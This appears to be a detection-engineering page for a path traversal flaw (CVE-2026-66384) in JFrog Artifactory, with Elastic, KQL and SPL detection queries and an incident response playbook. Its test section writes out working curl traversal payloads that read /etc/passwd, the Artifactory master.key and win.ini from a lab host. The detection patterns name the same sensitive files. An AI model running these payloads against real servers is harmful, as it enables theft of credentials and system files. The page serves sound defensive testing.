Detect CVE-2026-66384: JFrog Artifactory Path Traversal (CWE-22) Exploitation in Elastic Security
Detects exploitation attempts against CVE-2026-66384, an improper limitation of a pathname to a restricted directory (path traversal, CWE-22) vulnerability in JFrog Artifactory. This CISA KEV-listed flaw allows an attacker to supply crafted pathnames — typically via repository artifact download/upload APIs or the UI — to escape the intended repository storage root and read or write arbitrary files on the Artifactory host (e.g. Artifactory config, database credentials, master.key, or OS files). Detection focuses on traversal sequences (../, encoded variants, absolute paths, null bytes) in HTTP request paths and query parameters directed at Artifactory endpoints (/artifactory/api/, /ui/, /access/), anomalous access to files outside repository roots, and requests targeting sensitive system paths.
MITRE ATT&CK
- Tactic
- Initial Access Collection Discovery
Elastic Detection Query
any where event.category == "web" and
(url.path : "*artifactory*" or url.path : "*/access*" or url.path : "*/ui/api*") and
(
url.path : ("*../*", "*..%2f*", "*%2e%2e%2f*", "*..\\*", "*%00*") or
url.query : ("*../*", "*..%2f*", "*%2e%2e%2f*", "*/etc/passwd*", "*master.key*") or
url.original : ("*../..*", "*%2e%2e%2f*")
)Matches web events to Artifactory paths that contain directory traversal tokens in the path, query, or original URL.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate relative paths in artifact coordinates
- Internal health-check tooling using encoded characters
- Vulnerability scanners under authorized engagements
Other platforms for CVE-2026-66384
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic path traversal to /etc/passwd via Artifactory download API
Expected signal: Web/proxy and Artifactory access logs record a request to an /artifactory/ path containing %2f-encoded dot-dot sequences and 'etc/passwd'.
- Test 2Double-encoded traversal targeting master.key
Expected signal: Access logs record a request with %252f (double-encoded) traversal sequences referencing master.key under an Artifactory API path.
- Test 3Backslash traversal probe against UI API endpoint (Windows host)
Expected signal: IIS/reverse-proxy and Artifactory logs record a /ui/api request whose query contains backslash dot-dot sequences and a Windows path.
References (5)
- https://docs.jfrog.com/releases/docs/jfrog-security-advisories
- https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-66384
Response Playbook
Triage
- Confirm the target host is a JFrog Artifactory instance and identify its running version; compare against the JFrog security advisory for CVE-2026-66384 to determine if it is a vulnerable build.
- Extract the full decoded request path and query from the alert; determine whether the traversal targeted a sensitive file (e.g. master.key, access/etc/security.json, artifactory.config, /etc/passwd, DB connection files).
- Correlate the source IP: check whether it is internal CI/CD infrastructure, a known scanner, or an unexpected external address, and enumerate all other requests from that IP in the surrounding time window.
- Determine the HTTP response status/size for the suspicious requests — a 200 with a non-trivial body indicates a successful arbitrary file read.
Containment
- Block the offending source IP(s) at the WAF/reverse proxy and, if external exposure is not required, remove Artifactory from public internet access.
- Apply the JFrog fixed release for CVE-2026-66384 (upgrade Artifactory to the patched version per the JFrog self-managed releases advisory) or apply the vendor mitigation/workaround if immediate patching is not possible.
- If arbitrary file read is confirmed, rotate exposed secrets: Artifactory master.key/join key, database credentials, API keys, and any tokens stored in the config.
Evidence Collection
- Preserve reverse proxy, load balancer, and Artifactory access/request logs (access.log, request.log) covering the exploitation window with full URIs.
- Capture the Artifactory system state: config files, master.key modification timestamps, and any newly created or modified files in the storage/data directories that could indicate arbitrary write.
Escalation Criteria
- !Escalate to IR lead if any request returned a 200/206 for a path resolving outside the repository root (confirmed arbitrary file read) or if master.key/credentials were accessed.
- !Escalate to incident response if evidence of arbitrary file write, deployed webshell, or post-exploitation lateral movement from the Artifactory host is observed.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Artifactory access.log / request.log entries containing traversal sequences and the resolved target path - >
Reverse proxy/WAF logs showing raw and decoded request URIs - >
Access or modification timestamps on master.key, security.json, and config files outside normal repository directories - >
New or altered files in Artifactory storage directories indicating arbitrary write
Tuning Guidance
Baseline the legitimate artifact paths for your repositories — some package ecosystems embed dot-dot sequences in version coordinates, so refine the regex to require encoded traversal (%2e%2e, %2f) or references to sensitive filenames rather than bare '../' if you see high volumes of benign matches. Whitelist known CI/CD source IPs and authorized scanner ranges. Prioritize alerts where the HTTP response was 2xx/3xx with a meaningful body size, as these indicate successful file reads rather than blocked attempts.
Hunting Queries
Hunt across web/proxy logs for any Artifactory request containing traversal tokens or sensitive-file references, surfacing successful (2xx) reads by source IP.
W3CIISLog | where csUriStem contains "artifactory" | where csUriStem matches regex @'(\.\./|%2e%2e%2f|%00)' or csUriQuery matches regex @'(\.\./|%2e%2e%2f|master\.key|/etc/passwd)' | summarize count(), make_set(csUriStem,20) by cIP, scStatus | order by count_ descindex=web sourcetype IN ("jfrog:artifactory:access","nginx:plus:access") uri="*artifactory*" | regex uri="(?i)(\.\./|%2e%2e%2f|%00|master\.key|/etc/passwd)" | stats count values(status) by src_ip uri | sort - countAtomic Red Team Tests
Sends an encoded directory traversal request to the Artifactory artifact download endpoint attempting to read /etc/passwd (lab-only, non-destructive read attempt).
Command
curl -sk 'https://artifactory.lab.local/artifactory/example-repo/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd' -H 'Authorization: Bearer LAB_TOKEN' -o /tmp/cve_2026_66384_test.out; echo "status=$?"Cleanup
rm -f /tmp/cve_2026_66384_test.outExpected Telemetry
Web/proxy and Artifactory access logs record a request to an /artifactory/ path containing %2f-encoded dot-dot sequences and 'etc/passwd'.
Expected Detection
The kql/spl rules match on the encoded traversal tokens targeting an Artifactory path and raise an alert keyed on the source IP.
Sends a double-URL-encoded traversal payload aimed at the Artifactory master.key to simulate a stealthier read attempt.
Command
curl -sk 'https://artifactory.lab.local/artifactory/api/repositories/..%252f..%252f..%252fvar%252fopt%252fjfrog%252fartifactory%252fetc%252fsecurity%252fmaster.key' -o /tmp/cve_2026_66384_mk.out; echo "status=$?"Cleanup
rm -f /tmp/cve_2026_66384_mk.outExpected Telemetry
Access logs record a request with %252f (double-encoded) traversal sequences referencing master.key under an Artifactory API path.
Expected Detection
Rules matching %2e%2e/%252f patterns and the 'master.key' string flag the request; tuning guidance recommends prioritizing this sensitive-file match.
Sends a backslash-based traversal probe to an Artifactory UI API endpoint on a Windows-hosted instance to read a Windows system file.
Command
curl.exe -sk "https://artifactory.lab.local/ui/api/v1/download?path=..\..\..\..\Windows\win.ini" -o %TEMP%\cve_2026_66384_win.out & echo status=%errorlevel%Cleanup
del /q %TEMP%\cve_2026_66384_win.outExpected Telemetry
IIS/reverse-proxy and Artifactory logs record a /ui/api request whose query contains backslash dot-dot sequences and a Windows path.
Expected Detection
The kql and elastic_eql rules match the backslash traversal tokens ('..\\') in the query targeting the Artifactory UI API endpoint.